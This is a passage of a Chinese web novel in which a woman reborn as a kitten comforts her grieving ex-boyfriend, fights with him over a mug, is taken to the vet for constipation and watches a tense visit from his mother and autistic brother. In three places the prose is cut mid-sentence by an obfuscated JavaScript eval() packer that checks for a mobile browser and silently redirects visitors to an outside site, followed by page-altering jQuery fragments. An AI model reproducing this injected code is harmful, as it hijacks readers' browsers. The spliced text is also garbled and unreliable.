看见金宝听自己唱歌的样子,连川被微妙地哄好了。
睡前,他特意敞开卧室的门。
他没指望金宝和他亲到到家第一天就和他一起睡觉的地步,只是想方便小猫里外巡逻,早点熟悉家。
他一个人尝试入睡。
一米五的床,过去,祝祺总嫌小,和他贴着睡才不会滚下去。
如今,这张床空得像怎么挣扎都游不到岸边的海,醒不过来的噩梦。
他睡不着。
今天发生太多事了。
过去的一个月里,他过得浑浑噩噩,像沉在雾中,辨不出现实虚幻。
刚处理完祝祺丧事的几日,他清晨睁眼,却不知道醒后能做什么,茫茫然在床上卧至正午。洗漱后,或是坐在窗台前发一天呆,或是依赖药物,强制自己再一次沉入睡眠之中。
等杂志社的郑主编察觉到他一直不回消息,破门进入他的出租屋,连川已经三天没有正常进食,安静地昏睡着,虚弱得像一抹游魂。
杂志社的同事把他送去医院洗胃、挂水,强迫他休长假。
周文真得知他状况不佳,每天准点给他打电话。
看似是向他汇报他送来的猫的身体状况,其实是怕他一个人又想不开。
电话里每日茁壮成长的小橘,成了连川绝望生活中,唯一的念想。
今天,他接了金宝回家,正常地吃了中饭与晚饭,在直播间唱了新谱的曲子。
——生活似乎在逐渐移向正轨。
可一到晚上,情绪反扑,才知道白天的所谓正常,不过是他的错觉。
如果祝祺在,这一天会是怎么样的呢?
“不就是块排骨嘛,给小猫吃两口怎么了!”
“臭猫!逆子!赔我拖鞋!”
“连川,你的新曲子好好听哦,虽然我又没听懂。这首诗是讲什么的?”
……
夜半,祝祺被吵醒了。
她的听觉太敏锐。于她而言,连川不自然的呼吸声,比窗外呼啸的夜风还扎耳。
她一跃而起,跳到餐桌上,越过客厅与卧室的一面透明小窗往里看:
连川拉高被子,蒙着脸,一副要通过憋死自己自杀的样子。
被单印出的颀长人形轻微颤动着,传出令人心焦的急促喘息声。
祝祺不耐烦地舔了舔爪子。
看来没有她出马,今晚是睡不成了。
她穿入房门,“唔嗯”一声,使劲跃上床。
床榻被小卡车的重量压得吱嘎一声。
祝祺款步走至连川脑袋边上,探出爪爪,扒开连川的被单。
猫咪出色的夜视能力,能让她清楚地看见连川哭得湿润的睫毛,和被压得乱糟糟的额发。
映着屋外一点路灯光,连川的眼珠被浸润得黑亮。
祝祺举起猫爪,精准地往连川额头上梆梆捶了两下。
力度刚刚好,懵逼不伤脑。
连川:“?”
祝祺语含警告:“咪、呜。”
这么吵,让不让猫睡了。
连川从被窝里掏出手,一把捉住她后颈,撑开被窝,将她拖入怀中。
祝祺惊恐:“喵!”
“你是来安慰我的吗,金宝?”
连川用下巴蹭了蹭小猫脑壳。哭过的嗓音略带哑意,在祝祺头顶闷然响起,如同弦乐低沉的鸣声。
祝祺:“……”
你见过有猫安慰的方式是揍人两拳吗我请问了。
“来都来了,就陪我睡吧。”连川小声说,“你可能需要适应一下。我应该……会伤心很久。”
祝祺:“…………”
适应不了。小猫单日睡眠时间小于二十小时会变身无情杀人机器,真的。
连川继续说:“我失去了很重要很重要的人,金宝。”
怀中的小猫陡然不挣扎了。
“每个人都跟我说,她走了,是意外。但只有我知道,是因为我。”
听到这里,祝祺忍无可忍,抬爪就往连川嘴里塞:
她自己作死赶due,极限压缩休息时间,关连川什么事啊?!
小猫爪一股汗味,臭烘烘的。
鬼知道这双小白手套刚刚掏过些什么。
想到这里,连川认命地缓缓闭上双眼,彻底安静了。
许久,金宝似乎终于困倦,抽出爪爪,抱着他的脖颈,把小圆脑袋蜷进他的颈窝里,睡得像只呼噜呼噜响的小摩托车。
连川能感觉到她紧贴着自己的柔软肚皮,上下起伏,带起温暖的痒意。
在那里,有一颗小小的、跳动不息的心脏。
连川小心翼翼地移动没有被金宝压着的手臂,从枕头底下拿出手机,划开相机,翻转镜头,谨慎地关掉闪光灯,拍了一张卧在自己肩颈处酣睡的小猫照片。
萌……
他单手划屏幕,放大又缩小,左右上下把金宝的每根软毛都欣赏了一遍,还嫌不够,打开小某书,上传照片,发第一个帖子:
【求助!小猫到家第一天就上床睡,还搂我这么紧,这正常吗?】
没几分钟,就有同样深夜不睡的用户评论:
【???凡尔赛,拉黑了。】
【给我家猫看了,我家猫说是演的。】
【不正常,我是兽医,建议寄给我检查一下。】
【我不嫉妒,因为我也有。[图片]】
连川:这下彻底舒服了。
*
经过一日的磨合,连川和金宝的相处和平许多。
金宝嘴刁,连川变着法儿做猫饭,小厨房里肉香阵阵。做完金宝的饭,再简单加工一下边角料,就是连川自己的饭。
忙完家务,连川半躺在沙发上看书,一手翻页,一手甩着逗猫棒陪金宝玩。
金宝玩腻了,就冷漠离开,自己在全家跑酷,撞得柜子桌子咚咚响,呜哇呜哇地对她看不顺眼的家具发表高见。
家里热闹多了。
也不是一点架都不掐了——
连川发现,金宝不爱喝饮水机里的水。
只爱喝自己杯子里的水。
他偶尔走开,回客厅时,就能看到猫鬼鬼祟祟地趴在桌子上,半个脑袋埋进杯沿,欢快地用舌头啪嗒啪嗒地卷水喝。
有一次,他新烧了开水,装在杯子里放凉。
猫趁他不在,赶紧凑上去偷水喝,伸爪探水线时,被滚烫的水蒸气袭击,吓得拔腿就跑,撞翻了两张椅子,满屋哐啷声。
发现家中狼藉的连川,揪着猫后脖颈,指着白色马克杯,沉脸教训她:“这是我的杯子。”
被提溜在半空的小猫,斜着眼睛,一身反骨,满脸不服。
连微微下弯的胡须都写着倔强。
对于这件事,祝祺有自己的看法:
这分明是她的杯子。
她亲手买的情侣马克杯,黑的是连川的,杯身有洗不掉的咖啡苦味;白的是她的,只装白水。
连川自己的杯子好好地摆在一旁不用,偏用她的杯子,还不许她喝水。
好不讲道理的人类!
等连川训完猫,把她放下,她一跃蹿回桌上,小爪摁在杯身,将马克杯缓缓推到桌沿,高昂猫头,一脸挑衅。
连川警告地冷声:“金宝。”
祝祺轻拍杯身,马克杯又往桌子边缘挪动一寸,小半杯身已经悬空。
连川:“你敢。”
祝祺:笑话,猫有什么不敢。
连川深吸一口气,从猫窝里捡起小老鼠玩具,一手伸出窗外,一根根地松开手指。
最喜欢的小老鼠咬咬玩具在坠楼的边缘,祝祺终于妥协,伸出小白爪,一点点把马克杯捞了回来。
连川满意,将捏着小老鼠的手伸回窗内:“这才乖……”
话音未落,祝祺轻轻一搡,装着半杯水的马克杯咚一声落地,杯子没碎,水淹了一地。
小猫骄傲地舔舔爪。
竟然敢威胁猫,天真的人类。
连川:“…………”
又是一顿猫毛四起的互殴。
最终,连川凭借罐罐优势,胜猫半子,惨胜后一脸疲惫地打开小某书找慰藉。
他刚加了一个养宠群聊,群里24小时无休地滚动着一片哀嚎声:
【我家的话又多,骂得又脏,每天趴在人耳边上叫,我耳塞都用烂三箱了。】
【家忍们我家的是不是成精了……每次我背后说它坏话,它都会偷偷用我喝的水洗脚……我说怎么水有味,我怀疑遍了杯子、烧水壶和自来水公司也没想到它,要不是看监控我真被它骗过去了……】
【又馋嘴又刁,这不吃那不吃,就爱吃我嘴里那口,我都怀疑它上辈子是皇帝,我是御膳房的太监,专门给它试毒来了。】
【呜呜我宝真的爱我吗?我怀疑我死了它都只会在我尸体上蹦迪。】
连川一路看下来,心情逐渐平复,没忍住在群里回复:
【谢谢大家的分享,看到大家和我有着相同的经历,我觉得我又好了。】
很快有人@他:
【新忍人进群记得分享奶比香香照^ ^】
连川:“?”
奶什么?
他抬头确认群名:忍人修炼营。
群聊创建者:比
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264034|165918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
格犬受害者联盟。
连川:“……”
所以他到底为什么这么有共鸣啊?!
*
白天打完架,晚上,只要连川不关门,猫还是会贼兮兮地爬上床,找到舒服暖和的地方,和连川贴着睡。
如果连川半夜胡思乱想,猫会索性趴到他的脸上,用肚子压着他的眼睛,强迫他关机。
猫肚沉甸甸的,有一股来自猫砂的豆奶粉甜香味。
连川闻着闻着就会睡着。
一夜无梦,直到凌晨四点,被意识到自己竟然屈尊在人类床上睡觉而恼羞成怒的金宝两拳揍醒。
一周后,连川长假即将告罄。
他看金宝吃睡都很正常,在家随地大小躺,一副大爷姿态,看他的眼神仿佛在问“你为什么在我家”,判断金宝已经适应了和人类同住的居家生活,可以放心去上班了。
上班前一日,连川在家装好摄像头,再三检查自动饮水机和猫粮。
金宝端坐一旁,两眼满含对自由独居生活的期待。
想啃沙发就啃沙发,想扯纸巾就扯纸巾,想在哪里喝水就在哪里喝水,一天至少有十个小时没有烦人的人类对她指指点点。
爽。
布置完家,连川看着坐姿乖巧的小猫,越想越不对劲。
——他和猫七天一百六十八个小时黏在一起,为什么从来没见过金宝舔屁?
根据养金豆时的经验,小猫喜洁,一天中除了吃睡,都在忙着舔毛。上完厕所之后,更是要把屁屁清理干净。
他两手捞过金宝,在小猫的剧烈挣扎和吱哇乱叫中,掀起猫尾巴。
屁屁是干净的。
他撇下猫,又去检查床单与沙发垫,也是干净的。
怪事。
从不舔屁,也没有把家里弄脏。
金宝是怎么清洁自己的呢?
祝祺:“……”
虽然她的小猫身体经常本能地想把腿支起来大舔特舔,想吨吨狂饮马桶水,想在人类从事上厕所和洗澡等与水接触的高危活动时进入卫生间监视。
但她残存的人类理智不允许。
屁屁是脏的,马桶水是脏的。
前男友上厕所和洗澡,那是绝对不可以看的。
关于清理自己,小猫自有高招。
祝祺舔爪,桀桀一笑,看连川什么时候能发现卫生间里的湿纸巾见底奇快。
她高估了连川的想象力和观察力。
在家搜寻金宝弄脏的痕迹无果后,连川给主编打去电话,续了三天假。
接下来两天,连川在家,寸步不离地盯着猫,等她上厕所,看她怎么清理。
如果确定金宝不会舔屁,他还得想其他办法,比如拿洒水壶喷小猫屁屁,比如从周文真那里借大猫给金宝作示范。
在前男友审视的目光下,祝祺压根不进猫砂盆。
第三天,憋得要命的祝祺被连川塞进猫包,一路狂奔送到周文真的宠物医院。
连川满头汗湿,急得气都喘不匀:“文真哥,救救我家猫,金宝不行了!”
周文真:“?”
祝祺:“喵?”
谁不行了?
周文真从未见连川这样语无伦次的样子,半天才听明白:
金宝精神萎靡,食欲下降,肚子鼓起,摸起来不像以前柔软,还有可能尿闭。
听起来情况确实很危急。
祝祺:“???”
完全是污蔑!污蔑!
祝祺急得快说人话了,凄厉地喵喵大叫,四脚并用地挣扎抗议。
生活区里的大猫们纷纷闻声向门诊区看去,跟着一起瞎着急。
叫得再凶也没用,她被小吴姐姐架住,任周文真那个狗医生在自己身上摸来摸去地检查,最后,眼睁睁地看他剃秃了自己的肚肚毛,抹上黏腻透明的耦合剂。
肚肚上一片冰凉。
被推入B超间的那一刻,祝祺放弃了挣扎。
她的小猫心已经死了。
十分钟后,在门诊区的连川被周文真叫进去。
周文真指着仪器显示屏上的猫肚,肚里一团团漆黑。
连川忙问:“这是什么?肿瘤吗?寄生虫?还是她吃了什么不该吃的东西?”
周文真平静说:“是屎哦。”
连川:“……?”
周文真:“这些,全——部,都是屎哦。”
祝祺仰躺在冰冷的B超台上,心情淡淡的,情绪很稳定。
前男友看到了自己的一肚子屎。哈哈。
如果不是因为她胖到已经失去了小猫脖子,她希望可以吊死自己。
7.喵喵
“猫很好,干净,没病没虫,短短十天胖了一斤。”
诊疗室里,周文真安抚连川。
小吴抱着金宝,去猫咪客厅找她小别十天的哥哥姐姐们玩。
“就是可能吃得有点干,或者情绪紧张,便秘了,不是什么大事,你做猫饭的时候可以捣点蒸熟的南瓜进去……”
连川终于安心,坐在沙发上,脑袋后仰,长舒了一口气。
周文真开好药方,又拧开一瓶矿泉水,递给他:
“你不用太紧张,猫没那么娇贵,用心养就行。主人的情绪也会影响到猫咪的。”
连川接过水,点了点头,大口喝干。
他回想和金宝相处的十天,与其说是他影响猫,不如说是猫影响了他。
“我看你精气神好了不少啊。”周文真笑。
眼前的男生毛衣上挂满猫毛,因为扛着小肥猫一路狂奔,黑发汗湿,乱糟糟地黏在额头上,一副狼狈不堪的模样。
却比上次见面,多出太多生命力。
连川:“在锻炼。”
每天和猫对打,实在是相当大的运动量。
“猫怎么样?皮吗?”
连川沉默半晌:“你还记得你之前诓我说,这只猫可能是金豆转生吗?”
周文真理直气壮:“别看两只猫公母不同。我割了金豆的蛋蛋,他就转生成妹妹了,这很科学啊!”
“……”连川抬手揉了揉眉心,“我是想说,这只猫绝对不是金豆。金豆多乖的一只小猫,听话懂事又黏人,猫德班班长。至于金宝,到家十天,我家家具快被拆了一半了。”
“太正常了。这么点大的猫,正是探索世界的时候,你多给她买点玩具咬咬啃啃。”
连川点头。
他简单说了最近在家中和猫的博弈故事,周文真听得直乐。
“我算是听明白了,你家猫不是皮,是精,鬼灵鬼精的,又聪明又叛逆。”
连川认同:“我不图金宝孝敬我了,只要她再大一点别把我卖了换猫条就行。”
简单聊过,连川便去客厅接猫。
客厅里,一群大猫簇拥着一只小橘子,殷勤地梳理她的杂毛。
祝祺舒服得哼哼唧唧,小爪开花。
连川撑开猫包:“回家了,金宝。”
祝祺恋恋不舍地和大猫们碰碰鼻头,一脸沮丧地被连川单手抱起。
连川掂掂手心里的小猫:“怎么轻了这么多?”
客厅一角,准点给猫砂盆铲屎的医护姐姐小吴发出震惊的声音:
“我靠,谁拉了这么多?!”
祝祺:“……”
五斤的小猫,一斤心眼,一斤反骨,一斤肥肉,两斤臭臭。
这是祝祺猫生最黑暗的一天。
*
回家后,连川还是放不下金宝从不舔屁这件事,喂过饭,就抱着吃饱犯懒的小橘,坐在沙发上看电视。
家中没有大猫以身作则,但他可以放大猫纪录片给金宝看。
狮子、老虎、豹子、猞猁,也很有学习借鉴意义。
不仅能教她如何清理自己。
——“没有爸爸开罐罐的大猫,只能自己捕猎,捕不到猎就得挨饿。这个故事告诉我们什么,金宝?”连川语重心长。
祝祺转转耳朵,当没听见。
连川自问自答:“欸,对了,世上只有爸爸好。”
祝祺默默在心里拨打110。
这里有人cpu小猫咪!
她懒洋洋地趴在连川腿上,看着纪录片,想起过去的事。
以前,他们一家三口经常窝在一起看动物纪录片。
连川投屏,她抱着金豆。
四年间,他们把粉色小软件里的动物纪录片看了个遍。
金豆最爱看海洋故事,每次有鱼出现,都满脸兴奋,尾巴乱摆,脑袋随着鱼摆尾转来转去,小爪子在她怀里不安分地扑腾。
连川看起来对纪录片兴趣缺缺,但看到大熊猫成年之后被妈妈赶走,猴妈妈一直抱着宝宝的尸体不放手,会假装上厕所,躲起来掉眼泪。
等他回来,祝祺就一手环抱金豆,一手捏着金豆的爪子,把粉色肉垫往连川未干的脸上按。
她学着蜡笔小新的声音,以金豆的口吻说话:
“爸爸看电视看哭咯,爸爸羞羞脸。”
气得连川把猫一扔,扑上去摁着她,挠她的痒痒肉,咬她的脖子,直到她笑得不行,再三求饶为止。
——她一直知道,连川外表疏冷,却是个非常、非常柔软的家伙,一个看到任何苦难都会不忍的人。
刚同居的时候,两人睡前坐在床上,一起在电脑上看《本杰明·巴顿奇事》。
祝祺看完倒头就睡。凌晨,她嫌热,半梦半醒间把胳膊从被子里掏出来,无意间碰到连川的脸,才发现枕套早被连川哭湿了,又好气又好笑,把红肿着脸装睡的连川喊起来换枕套。
后来,和连川一起看电影、电视剧之前,祝祺总要认真地在网上检索:
这个故事是好结局吗?男女主有没有终成眷属?儿童可以看吗?
连川对待他者的苦难,甚至是虚构的苦难,尚且如此敏感。
祝祺不知道,她的离去,连川要花多久才能走出来。
正想着,她的脑壳被猛戳两下:
“金宝,快看,藏狐爸爸终于抓到兔子了!”
她仰头。
男生素日里神情寡淡的面上,露出一抹欣喜的亮色。
只一点笑意,却显得神采逼人。
她舔了舔爪,别开眼,转向电视。
纪录片画面上,藏狐身形矫健,动作敏捷,一顿潇洒走位,又一只鼠兔命丧爪下。
连川欢呼:“好诶!”
小橘也忍不住雀跃,高举雪白的双爪:好喵!
*
虽然连川还是没有目睹金宝舔屁,但他已经不再纠结了。
只要金宝身体健康,家里也没有脏乱,她可以有她的清洁方式。
第二天,他早起洗漱更衣,背着电脑包,准备去上班。
临行前,他取出了放在床头柜里的平板,解锁,点开小猫抓老鼠的平板游戏,递到金宝面前。
这款游戏近似水果忍者,屏幕上会不断出现小老鼠。只要小猫摁爪上去,老鼠就会被拍散。
很适合最喜欢小老鼠玩具的金豆和金宝。
连川示范了一下玩法,又看金宝拍了几只老鼠,确认她学会怎么玩了,才不舍地揉揉她的头,嘱咐说:
“爸爸出门捕猎了,你一个人在家,自己玩,不要拆家,小心近视。”
祝祺:“咪。”
小猫软绵绵一叫,连川又舍不得走了,抱起小猫:“亲一下。”
猫冷漠举爪,堵在连川嘴上,态度明确。
“……”连川无奈放下猫,出门。
祝祺装模作样地打了几只老鼠。
等连川的脚步声渐远,她叼起平板保护套,偷溜到监控捕捉不到的死角,用肉垫滑动屏幕,切出游戏。
——虽然自从死后转生成小猫,她就一直告诉自己,她现在只是金宝,只需要享受作为橘猫的人生。祝祺的一切前尘过往,与她无关,她也没有能力管。
但她还是不能完全放下。
尤其是眼下,平板在手,她和人类的世界无限接近。
她点开Safari,检索关键字:
史雁英。
她担心自己的猝然离世,给史教授添上些“学术霸凌”之类子虚乌有的流言蜚语。
好在除了几条与“A大女博士猝死”有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15277057|165918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
关的新闻里,影影绰绰提到她就读于知名学者门下,并没有构陷与揣测的闲话。
她放心了。
检索完导师,她对着空白界面发了会呆,发现世界上再也没有值得自己关心的人了。
噢,勉勉强强还有一个。
但这一个,她每晚陪睡,驱逐噩梦,附送清晨温馨唤醒服务,怎么都算是关心到位了吧!
要说祝祺还有什么未完成的事,大概就是那篇反驳段惟馨的论文了。
她戳开百度网盘,登录史雁英师门共用的账号。
账号里,一本本由段惟馨博士友情共享的竖排繁体PDF,码得整整齐齐。
当然啦,不管小猫取得了什么研究成果,都是不可能发表出来的。
人类投稿尚且还要看关系、人脉,小猫什么都没有,怎么可能会有刊物接收她的论文。
她只是好奇历史的真相到底是什么。
就是这样朴素的好奇心,把曾经的祝祺,从贫瘠落后的小山村,一步步推往了大学。
她记忆起自己死前的研究进展,点开PDF,趴开腿,贴在温暖的毛绒地毯上,安静地读书。
估算着连川快下班了,猫退出网盘,清除缓存,又叼着平板,慢条斯理地回到连川床头,给平板充电。
忙完这些,祝祺爬回猫窝,小睡一觉,醒后再把平板从充电器上拔下来,放回客厅,营造无事发生的假象。
——世界上怎么会有这么心思缜密的小猫咪!
五点半,连川从杂志社下班回家。
一进门,他便解下沾染寒气的外衣,只单穿一件黑色高领羊毛衫,勾出宽肩窄腰,身形清瘦而不失有力。
祝祺一想到自己在家神不知鬼不觉地干了这么多事,一阵得意,翘着尾巴迎上去邀功,围着连川的小腿秦王绕柱走,尾巴尖轻颤着缠他。
连川低下身子,把她抱起来,轻笑说:“你是小狗狗吗,金宝?”
祝祺:“咪!”
猫勾起小白手,照脸就是一拳。
被连川高举至与他眉宇同高,祝祺才意识到,他似乎并不开心。
想想也是。
请了长假之后,工作堆积如山,肯定很辛苦。
而且,和他不熟的同事,知道他请长假的原因,难免摆出一副欲言又止的诡异态度。令人糟心的好意。
连川挨揍,也不恼,将猫放回地面上。
祝祺就地一滚,摊开毛绒绒——哦不对,她的肚肚刚被剃秃——粉粉的肚皮。
人,你可以在猫宽阔的腹肌上哭泣。
连川盘腿席地而坐,伸手挠她肚子上秃秃的一块软肉:“抠你电池。”
祝祺歪头一瘫,不动了。
连川又往她肚肚上轻轻一拍:“安回去了。”
电池到手,祝祺立马翻身起来,兴奋地围着连川喵喵叫。
连川不疑有他,只以为是巧合,笑着起身,顺势捡起地上的平板。
他的心情变好了。
祝祺自豪:果然我们小猫咪就是最厉害的。
——“欸,这个平板……”
祝祺浑身一僵。
“为什么电量比我出门的时候还多?”
祝祺撇开眼,心虚地舔舔嘴。
因为她给平板充电的时候,不小心睡过头了……
好在iPad买了四年,经常有电池问题,尤其是在冬天,电量随着温度,忽高忽低。
连川把踩着小猫步偷溜的祝祺抱起来,用额头抵着她的脑门,一脸严肃:
“难道你是……”
祝祺紧张:“喵。”
“皮卡丘?”
“……”
会发电的橘色小毛球。合理。
看在今天连川很辛苦的份上,祝祺:“……啾。”
8.喵
祝祺在连川家中,又安逸地住了大半个月。
转眼,便到了公历年的尾声。
元旦假期前,祝祺眼看连川加满她的小粮仓,又破天荒地给她开了个罐罐,心知十有八九有事。
她一边咣咣干饭,一边骂骂咧咧:
说吧,有什么事对不起我?外面有猫了?还是你那个破杂志社终于开不出工资了,要克扣我的伙食?
连川盘腿坐在地上,垂眼看她呜哇呜哇地吃饭,手落在她脊背上,轻柔地顺着她的毛。
“金宝,爸爸要离开一两天。”
祝祺的耳朵悄往连川的方向撇去。
“自动喂食器已经装满了,会定时给你放粮。我会在监控里看你的,如果有什么问题,我把备用钥匙给周医生了,他会来的,好吗?”
祝祺有时候会想连川是不是傻,明明猫听不懂人话,他还能一个人说得这么起劲。
她在吃饭的百忙之中,往连川大腿上踩了一脚。
猫知道啦。
连川安排完猫的事,就开始收拾自己的行李。
祝祺敏感地觉察到,连川似乎兴致不高。
她和连川恋爱的四年间,连川很少独自出远门。他不需要出差,没有在外地的朋友,从不和他的有钱家人联系。
——那他这回出远门,是去干嘛?
正想着,连川已经收好行李。他东西不多,旅行箱半满,只装了几件衣服,很轻。他留意不让旅行箱滚轮的声音吓到猫,单手提箱出门。
出门前,连川在门外,回望一眼。
卧室与客厅之间的墙上,有一面窗,窗下一角,露出猫的上半张小圆脸,和两枚尖尖的三角耳朵。
猫正蹲在卧室的床上,透过窗,两眼大睁,乌黑瞳仁溜圆,正一脸懵懂地看着离去的连川。
连川提着行李箱的手一顿,强迫自己回转头,轻声带上门。
再看,就走不了了。
出门后,地铁二号线转一号线,到高铁站。高铁自A省北行两小时,便是他多年未回的家。
地铁上,他想起金宝,分离焦虑发作,掏出手机,点开安在家里的监控,用语音功能,柔柔地唤了声:“金宝——”
家中,祝祺正抻着懒腰,扒拉在沙发边上磨爪子。爪尖刺破沙发表皮的毕波抓挠声,爽得她尾尖高举着打战。
直到一个晦气的声音响起。
祝祺两耳不悦地抖动两下,柔韧的猫尾立马耷拉下去。
被怪声打断施法后,眼前被她挠得破破烂烂的沙发都不香了。
她凶狠地迈着小猫步,走到发出声音的圆形监控镜头前,粉鼻头凑上前嗅闻观察,之后便伸爪,猛烈地拍打攻击,嘴里哈哈作响。
祝祺:“呜哇——”
今天不把这个会发出坏猫兴致声音的丑东西拆了!本橘誓不为猫!
另一侧,地铁里,连川的手机屏幕上。
圆圆小猫头突然凑近,东闻闻西嗅嗅,大眼睛黑溜溜的,满脸好奇与警觉,甚至还掏出雪白小爪来摁镜头,拨弄得监控视频一片噼里啪啦响。
小猫听见这个东西发出了爸爸的声音,却不知道爸爸在哪里。小猫想把爸爸从监控里掏出来呢。
连川捧着手机,看得心都化了,喉咙口里发出一声低低的喟叹。
一旁坐着一对母子,是一大早背着小书包上兴趣班的小学生和他的妈妈。
小学生听到动静,斜着眼偷看连川,满脸惊悚:“这个叔叔好奇怪。”
妈妈露出知晓一切的微笑:“等你以后长大了,谈了恋爱,也会这样一边看手机一边发出怪动静的。”
连川:“……”
他有些坐立难安,下一站,便拖着行李箱下车,走向返程的地铁。
*
祝祺还没自由两个小时,大门又一次开了。
走了没多久的人类大步进门,捞起在地上翻滚的小猫,捧在脸边,一阵狂吸。
祝祺气得嗷嗷大叫,照脸给了连川两拳。
还把连川爽到了。
等连川吸足猫,又徒手跟猫过了几招拳法,他两手穿过金宝腋下,将小肥猫高高提起。
橘猫液体般的身体抻长,两脚垂落在地上,并没有不舒服,缓慢地眨着眼,看他。
“宝,爸爸不走了。但是,晚上可能会来一个……奇怪的叔叔。”
连川艰难地措辞。
祝祺:“喵。”
“我不会让他伤害你的。如果我没办法控制好他,就让他一直呆在卧室里。”
祝祺歪了歪头。
听起来似乎不妙。
“顶多两天,可以吗?”连川问。
祝祺一挣,呜嗯一声落地,优雅走开。
算啦算啦,都吃了你的罐罐啦,多忍受一个人类也不是什么大事,猫猫肚里能撑船嘛。
祝祺大度地想。
*
当日傍晚,连川多炒了一个菜,抱着金宝坐在沙发上,等待客人的到来。
祝祺嗅出他身上焦躁的气息,不时探出粉红色的鼻头,轻触他的下巴,用温热的气流安抚他。
祝祺:“喵。”
别焦虑啦,有猫在,一切都能解决的。
六点过半,敲门声终于响起:“小川,是妈妈。”
——舒明菡。祝祺想起曾在连川手机上见过的名字。
没想到所谓远客,竟然是连川的家人。
舒明菡的声线明净清亮,如一捧晶莹剔透的雪,听到便觉得心间一片敞亮。
祝祺暗道,连川的好嗓子,原来是遗传妈妈的。
连川放下猫,起身开门。
门口,是一名年过五十的女性,和一个十三四岁的少年。
少年身量纤瘦,头发乌黑细软,修剪得平齐,面上有股不自然的神情。
女人眉眼与连川三分相像,长发烫卷,面上施着淡妆,红唇醒目。她保养得很用心,眼角眉梢唇周,仍能见疲色。乍一见长子,似略微拘谨,女人不安地一笑。
舒明菡提示少年:“小海,叫哥哥。”
祝祺躲在角落里,歪着脑袋打量。
百度百科里写,舒明菡育有二子。
那么,这应该是连川的弟弟,连海。
却见少年恍若未闻,双眼直直地略过连川,嘴里不停地快速重复一段数字。
连川面沉如水:“你明知道他不会叫的。”
“多教教他,他是会的。”舒明菡急切地辩驳,“现在小海的病情,已经比以前好很多了。”
“恭喜。”连川无动于衷地偏过头,转身进门。
舒明菡领着连海,随连川踏入门内。
连川回头,面露警告:“我说过,连海可以来,你不行。”
舒明菡精心描画的眉头,委屈地皱起:“小川,妈妈想来看看你住的地方,想看看你过得好不好。这么多年,你不联系爸妈,也不肯收我们的钱,妈妈每天担心你在外吃苦。”
连川像听到什么荒谬的话,扯起一个冷笑:
“如果你真的像你表演的那么在意我,你不会明知道我想学文,还要改我的专业。”
听到这里,祝祺嘴里叼着的猫粮都惊掉了。
大一那年,她对连川的印象,是隔壁经济系来蹭课的男生。
连川同时修两个专业的课程,任务繁重。祝祺偶尔瞥见他在古代文学课上偷写高数题,或是累得直接在课堂上睡着。
第二学年,连川成功通过考核,从经济系转来中文系。
此时文科就业率已经大跌,常有人玩梗说文科毕业月薪三千,同学们调侃他是四九年加入国民党。
祝祺从没问过他,如果这么喜欢文学,一开始为什么选了经济系。
原来是父母皆祸害。
“这件事是爸爸妈妈错了,妈妈没想到你会反应这么大……”舒明菡说着,开始抹眼泪。
连川冷眼望着她。
舒明菡当然想不到他会突然爆发。
连川十二岁那年,连海出生。
连海两岁时,举动怪异,始终不开口说话,抗拒触碰,确诊自闭症。
从那时起,舒明菡停下演出,全心在家照料幼子;连平山则为了支付巨额的治疗费用,全世界奔波摄影,拼命工作挣钱。
少年连川理解父母,尽全力帮家人分担。
他不再要求父母参加他的家长会,从不拿生活和学业上的烦心事去打扰父母,不厌其烦地尝试与弟弟对话。
连海畏惧陌生人,家中不能请护工。为此,他学会了做饭。在妈妈忙于照料弟弟时,他默默做出一家人的晚餐。
有一日,他切菜时不小心割到手,指尖几乎旋下一块肉来,鲜血汩汩而出。
他捏着手指,有点害怕地喊了声妈妈。
舒明菡看见他被血水浸得通红的手指,嫌恶地大喊:“别过来!别让你弟弟看到了。”
连海看见血,会尖叫个不停。
类似的事,以前也发生过。
只是那一刻,手指剜心的刺痛让他意识到,这并不公平。
高考出分后,他的成绩在全省前列,可以在顶尖学府A大任选专业。
他将A大中文系,填在首行。
志愿结果公布当日,他才知道父母未与他商量,篡改了他的第一志愿。
“现在文科就业形势不好,你写的那些诗,玩玩可以,赚不了钱。”连平山说,“你弟弟的病是终身无法治愈的。等我和你妈死了,谁来照顾你弟弟?”
连川情绪崩溃了。
他从卧室里掏出自己高中三年做的一箱教辅书,重重砸在地上。
舒明菡见势,一声不吭地抱着连海离开家。
“连海不是我的孩子,我也有我自己独立的人生,我没有追求自己想做的事的权利吗?从头至尾,我做错了什么,是我让弟弟生病的吗?”
“……”
“我想做的事我一定
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293098|165918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会做到。我读文的学费不需要你们出,你们也别想让我赔上自己的人生,给你们养孩子。”
因为这句话,连川从大学前的暑假就开始兼职打工,拼命赚学杂费。
